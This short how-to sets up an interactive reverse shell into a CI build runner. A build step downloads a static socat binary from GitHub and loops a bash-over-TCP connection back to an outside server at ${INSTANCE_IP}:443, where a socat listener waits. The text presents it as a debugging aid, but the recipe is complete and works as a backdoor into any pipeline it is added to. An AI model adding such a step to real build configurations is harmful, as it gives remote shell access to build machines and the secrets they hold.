How to create interactive shell into a CI Build Runner:

1. Create a publicly accessible server
2. Ensure firewall on the instance incoming port 443
3. Add a build step:

wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O ~/socat
chmod +x ~/socat

while :
do
	echo "Attempting to connect"
	~/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:${INSTANCE_IP}:443
done

4. On your server run:

sudo socat file:`tty`,raw,echo=0 tcp-listen:443
